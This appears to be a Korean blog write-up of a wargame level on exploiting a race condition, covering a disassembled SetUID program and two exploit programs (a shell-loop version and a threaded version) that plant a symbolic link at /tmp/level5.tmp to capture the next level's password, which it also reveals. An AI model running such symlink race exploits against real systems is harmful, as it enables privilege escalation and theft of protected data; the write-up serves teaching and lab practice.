반응형

 

login as : level5

password : what is your name?

 



레이스 컨디션

 

레이스 컨디션을 번역하면 경쟁 상태이다.

 

이는 어떠한 경쟁 관계에서 발생하는 취약점이라는 의미를 내포하는데, 경쟁 상태란 다수의 프로세스가 서로 동일한 자원을 할당받기 위해 경쟁하는 상태를 말하고, 경쟁 상태에 빠진 다수의 프로세스에게서 발생할 수 있는 최악의 상황 중 하나는 Deadlock(교착 상태)이다.

 

즉, 쉽게 말하자면 레이스 컨디션이란 한정된 자원에 대해 여러 프로세스가 동시에 접근하기 위해 경쟁하는 상태를 말하며, 레이스 컨디션 공격은 프로세스들이 경쟁하는 상태를 이용해 관리자 권한을 얻는 것을 말한다.

 

level5 에서는 경쟁 상태가 일어나는 상황 중에서 중요한 정보가 담긴 파일의 소유를 경쟁 할 수 있는 상황이다.

 

그리고 이러한 경쟁 상황을 풀어내는 게 목적이다. 

 

level5에서 제시하는 레이스 컨디션 취약점이 존재하기 위한 최소한의 조건은 아래와 같다.

1. 다른 계정의 권한에 접근해야 하므로 SetUID가 걸려 있어야 한다.

2. 임시 파일을 생성해야 한다.

3. 공격자가 입시로 생성되는 파일명을 정확하게 알아야 한다.

 

그리고 아래는 level5 문제에서 제시된 레이스 컨디션 환경에 대한 설명이다.

1. 임시 파일의 생성을 시도한다.

2-1. 임시 파일이 생성되면 내용을 쓰고 바로 파일을 삭제
(공격자 입장에서는 임시 파일에 내용을 쓰고 삭제하는 순간이 너무 짧은 것이 문제이다.)

2-2. 임시 파일의 생성에 실패하면 프로그램 종료

순서
파일 생성
    성공 적으로 생성 시 -> 내용 쓰기 -> 파일 읽기 -> 파일 삭제 -> 종료
    생성 실패 시 -> 종료

 

위의 순서에서 내용을 쓰고 파일을 읽어 처리하고 파일을 삭제하는 과정 중 타이밍 경쟁이기 때문에 레이스 컨디션 문제가 발생한다.

 

즉, 내용을 쓰고 파일을 읽어 처리하고 파일을 삭제하는 과정에 공격할 수 있는 틈이 있다는 것이다.

 

그 틈은 파일에 내용을 쓸 때인데, 이때 심볼릭 링크를 이용해 파일을 삭제 하기 전에 해당 내용을 백업하는 방법을 사용한다.

 

공격 흐름을 정리하면 아래와 같다.

1. 공격 프로세스에서 /tmp/level5 파일을 만든다.

2. 공격 프로세스에서 /tmp/level5 파일을 원본으로 하는 /tmp/level5.tmp 링크 파일을 만든다.
(/tmp/level5.tmp 링크가 취약한 프로세스에서 생성하고 삭제하는 파일의 이름이다.)

3. 레이스 컨디션 취약점이 있는 프로세스를 시작한다.

4. 취약한 프로세스가 /tmp/level5.tmp 파일을 생성하려고 하지만 공격 프로세스가 만들어 둔 /tmp/level5.tmp 링크 파일이 이미 있으므로 파일을 생성하지 않는다.

5. 취약한 프로세스가 /tmp/level5.tmp 링크에 내용을 쓴다.
(/tmp/level5.tmp 링크에 내용을 쓰면 원본인 /tmp/level5 파일에 내용이 쓰여진다.

6. 취약한 프로세스가 쓴 내용을 사용한 뒤 /tmp/level5.tmp 파일을 삭제하고 종료한다.
(결국 내용이 쓰여진 /tmp/level5 파일이 남아 있기 때문에 쓴 내용을 볼 수 있게 된다.)

 


 

 

find / -user level6 -perm +6000 -exec ls -l {} \; 2>/dev/null

 

위의 find 명령어를 입력하면 hint에서 봤던 것처럼 /usr/bin/level5 프로그램이 나온다.

 


분석

 

su level6

 

/usr/bin/level5 프로그램을 리버싱해보려면 level6 권한이 필요하다.

 

그러므로 su 명령어를 이용해 단순히 사용자만 전환하는 것으로 level6 권한을 얻어온다.

(password는 what the hell이고, 이후 진행 내용은 password를 모른다고 가정하고 진행한다.)

(리버싱을 먼저 해보지 않아도 되니 분석을 건너뛰었다가 풀이 부분을 보고 나서 분석 부분으로 와도 된다.)

 

0x0804842c <main+0>:    push   %ebp
0x0804842d <main+1>:    mov    %esp,%ebp
0x0804842f <main+3>:    sub    $0x8,%esp
0x08048432 <main+6>:    and    $0xfffffff0,%esp
0x08048435 <main+9>:    mov    $0x0,%eax
0x0804843a <main+14>:   sub    %eax,%esp
0x0804843c <main+16>:   sub    $0x8,%esp
0x0804843f <main+19>:   push   $0x180
0x08048444 <main+24>:   push   $0x8048580
0x08048449 <main+29>:   call   0x804832c <creat>
0x0804844e <main+34>:   add    $0x10,%esp
0x08048451 <main+37>:   mov    %eax,0xfffffffc(%ebp)
0x08048454 <main+40>:   cmpl   $0x0,0xfffffffc(%ebp)
0x08048458 <main+44>:   jns    0x8048484 <main+88>
0x0804845a <main+46>:   sub    $0xc,%esp
0x0804845d <main+49>:   push   $0x80485a0
0x08048462 <main+54>:   call   0x804835c <printf>
0x08048467 <main+59>:   add    $0x10,%esp
0x0804846a <main+62>:   sub    $0xc,%esp
0x0804846d <main+65>:   push   $0x8048580
0x08048472 <main+70>:   call   0x804833c <remove>
0x08048477 <main+75>:   add    $0x10,%esp

0x0804847a <main+78>:   sub    $0xc,%esp
0x0804847d <main+81>:   push   $0x0
0x0804847f <main+83>:   call   0x804836c <exit>
0x08048484 <main+88>:   sub    $0x4,%esp
0x08048487 <main+91>:   push   $0x1f
0x08048489 <main+93>:   push   $0x80485e0
0x0804848e <main+98>:   pushl  0xfffffffc(%ebp)
0x08048491 <main+101>:  call   0x804830c <write>
0x08048496 <main+106>:  add    $0x10,%esp
0x08048499 <main+109>:  sub    $0xc,%esp
0x0804849c <main+112>:  pushl  0xfffffffc(%ebp)
0x0804849f <main+115>:  call   0x804831c <close>
0x080484a4 <main+120>:  add    $0x10,%esp
0x080484a7 <main+123>:  sub    $0xc,%esp
0x080484aa <main+126>:  push   $0x8048580
0x080484af <main+131>:  call   0x804833c <remove>
0x080484b4 <main+136>:  add    $0x10,%esp
0x080484b7 <main+139>:  leave
0x080484b8 <main+140>:  ret
0x080484b9 <main+141>:  nop
0x080484ba <main+142>:  nop
0x080484bb <main+143>:  nop
End of assembler dump.

 

main() 함수의 대략적인 동작 원리는 아래와 같다.

1. 스택을 구성 후 creat() 함수를 호출하여 파일을 생성

2. 파일 생성에 성공하면 0x8048484 주소로 점프하고, 실패하면 printf() 함수, remove() 함수, exit() 함수를 호출한다.

3. 파일 생성에 성공하여 0x8048484 주소로 점프했으면, 대상 파일에 문자열을 쓴다.

4. 대상 파일을 제거한다.

 

main() 함수의 동작 원리를 자세히 봐본다.

 

0x0804842c <main+0>:    push   %ebp
0x0804842d <main+1>:    mov    %esp,%ebp
0x0804842f <main+3>:    sub    $0x8,%esp
0x08048432 <main+6>:    and    $0xfffffff0,%esp
0x08048435 <main+9>:    mov    $0x0,%eax
0x0804843a <main+14>:   sub    %eax,%esp
0x0804843c <main+16>:   sub    $0x8,%esp
0x0804843f <main+19>:   push   $0x180
0x08048444 <main+24>:   push   $0x8048580
0x08048449 <main+29>:   call   0x804832c <creat>
0x0804844e <main+34>:   add    $0x10,%esp
0x08048451 <main+37>:   mov    %eax,0xfffffffc(%ebp)
0x08048454 <main+40>:   cmpl   $0x0,0xfffffffc(%ebp)
0x08048458 <main+44>:   jns    0x8048484 <main+88>
0x0804845a <main+46>:   sub    $0xc,%esp

 

스택을 구성하고 0x180(10진수로 384)을 스택에 넣은 뒤 "/tmp/level5.tmp" 문자열을 스택에 넣고 creat() 함수를 호출한다.

 

creat()는 성공 시 파일 디스크립터를 반환하는데, 이 FD(File Descriptor) 값을 ebp-c 주소에 넣고, 0보다 이상인지 검사한다.

(jns는 jump not set의 약자로 이전 명령어의 결과가 signed가 아닐 때 즉 0 이상이여서 SF 플래그가 설정되지 않으면 점프이다.)

 

0 이상이면 0x8048484 주소로 점프한다.

 

0x0804845d <main+49>:   push   $0x80485a0
0x08048462 <main+54>:   call   0x804835c <printf>
0x08048467 <main+59>:   add    $0x10,%esp
0x0804846a <main+62>:   sub    $0xc,%esp
0x0804846d <main+65>:   push   $0x8048580
0x08048472 <main+70>:   call   0x804833c <remove>
0x08048477 <main+75>:   add    $0x10,%esp
0x0804847a <main+78>:   sub    $0xc,%esp
0x0804847d <main+81>:   push   $0x0
0x0804847f <main+83>:   call   0x804836c <exit>

 

0보다 작으면 "Can not creat a temporary file." 문자열을 출력하고, "/tmp/level5.tmp" 파일을 제거 후 exit() 함수를 호출한다.

 

0x08048484 <main+88>:   sub    $0x4,%esp
0x08048487 <main+91>:   push   $0x1f
0x08048489 <main+93>:   push   $0x80485e0
0x0804848e <main+98>:   pushl  0xfffffffc(%ebp)
0x08048491 <main+101>:  call   0x804830c <write>
0x08048496 <main+106>:  add    $0x10,%esp
0x08048499 <main+109>:  sub    $0xc,%esp

 

0 이상이여서 0x8048484 주소로 점프하면 0x1f(10진수로 31)를 스택에 넣고, "next password : what the hell" 문자열을 스택에 넣은 후 ebp-c의 값을 스택에 넣은 뒤 write()를 호출한다.

(ebp-c에는 creat() 함수 호출 성공 시 반환되는 FD 값이 들어갔었다.)

 

즉, /tmp/level5.tmp 파일에 "next password : what the hell" 문자열을 쓴다는 것이다.

 

0x0804849c <main+112>:  pushl  0xfffffffc(%ebp)
0x0804849f <main+115>:  call   0x804831c <close>
0x080484a4 <main+120>:  add    $0x10,%esp
0x080484a7 <main+123>:  sub    $0xc,%esp
0x080484aa <main+126>:  push   $0x8048580
0x080484af <main+131>:  call   0x804833c <remove>
0x080484b4 <main+136>:  add    $0x10,%esp
0x080484b7 <main+139>:  leave
0x080484b8 <main+140>:  ret

 

ebp-c의 값을 스택에 넣고 close() 함수를 호출하여 파일을 종료한다.

 

그리고  "/tmp/level5.tmp" 문자열을 스택에 넣은 뒤 remove() 함수를 호출해 파일을 삭제하고 프로그램이 종료된다.

 

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(void)
{
    int fd;
    char pass[] = "next password : what the hell\n";
    char *tmpfile = "/tmp/level5.tmp";

    if(0 > (fd = creat(tmpfile, 0x180)))
    {
        printf("Can not creat a temporary file.\n");
        remove(tmpfile);
        exit(0);
    }
    else
    {
        write(fd, pass, 0x1f);
        close(fd);
        remove(tmpfile);
    }

    return 0;
}

 

위의 내용들을 통합하여 의사 코드로 작성하면 위와 같다.

 


풀이

 

위의 의사 코드에서 creat() 함수를 호출하는 부분이 공격 포인트이다.

 

level5 프로세스에서 임시 파일을 생성하기 직전에 공격 프로그램에서 임시 파일에 먼저 링크를 걸게 되면 링크를 건 파일을 통해 미리 만들어 둔 파일에 write(fd, pass, 0x1f);로 패스워드를 적게 하는 것이다.

 

공격 프로그램을 작성하는데 레이스 컨디션을 이용한다.

 

첫 번째 방법

cd tmp

vi runTarget.c
#include <unistd.h>

int main(void)
{
	int i;
    for(i = 0; i <= 10; i++)
    	system("/usr/bin/level5 &");
}
gcc -o runTarget runTarget.c

 

runTarget.c 파일에 코드를 입력하고 컴파일한다.

 

vi expTarget.c
#include <unistd.h>

int main()
{
	int i;
    
    system("touch /tmp/lvl6pass.txt");
    
    for(i = 0; i <= 10; i++)
    	system("ln -s /tmp/lvl6pass.txt /tmp/level5.tmp");
       
    system("cat /tmp/lvl6pass.txt");
    system("rm -rf /tmp/l*");
}
gcc -o expTarget expTarget.c

 

runTarget.c 파일에 코드를 입력하고 컴파일한다.

 

vi expBash.sh
#!/bin/bash
./runTarget& ./expTarget

 

expBash.sh 파일에 위와 같이 스크립트를 입력하고 저장해준 뒤

 

sh expBash.sh

 

expBash.sh 파일을 여러번 실행하여 알아내는 방법이 있다.

 

 

두 번째 방법

한 걸음 더 나아가 공격 프로그램에서 한 개의 스레드로 계속 /usr/bin/level5 프로그램을 백그라운드로 실행하면서 다른 한 개의 스레드에서는 심볼릭 링크를 거는 작업을 한다.

 

cd tmp
vi exploit.c

 

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>

void *exec_cmd();
void *exec_race();

int main(void)
{
        pthread_t th1, th2;
        char *msg1 = "Thread 1";
        char *msg2 = "Thread 2";
        int iret1, iret2, i;

        iret1 = pthread_create(&th1, NULL, exec_cmd, (void*)msg1);
        iret2 = pthread_create(&th2, NULL, exec_race, (void*)msg2);

        pthread_join(th1, NULL);
        pthread_join(th2, NULL);

        printf("Thread1 return : %d\n", iret1);
        printf("Thread2 return : %d\n", iret2);
}

void * exec_cmd()
{
        while(1)
        {
                system("/usr/bin/level5 &");
                printf("-----Execute level5-----\n");
        }
}

void *exec_race()
{
        system("touch /tmp/level6password.txt");
        while(1)
        {
                system("ln -s /tmp/level6password.txt /tmp/level5.tmp &");
                printf("=====Successfully create link !!=====\n");
                system("cat /tmp/level6password.txt");
        }
}

 

vi를 이용해 exploit.c에 위의 내용을 기재한다.

 

gcc -o exploit exploit.c -pthread

 

exploit.c를 컴파일한다.

 

./exploit

 

exploit 파일을 실행한다.

 

멈추고 싶을 때는 Ctrl + Z 키를 누르면 멈춘다.

 

what the hell

 

 

반응형

+ Recent posts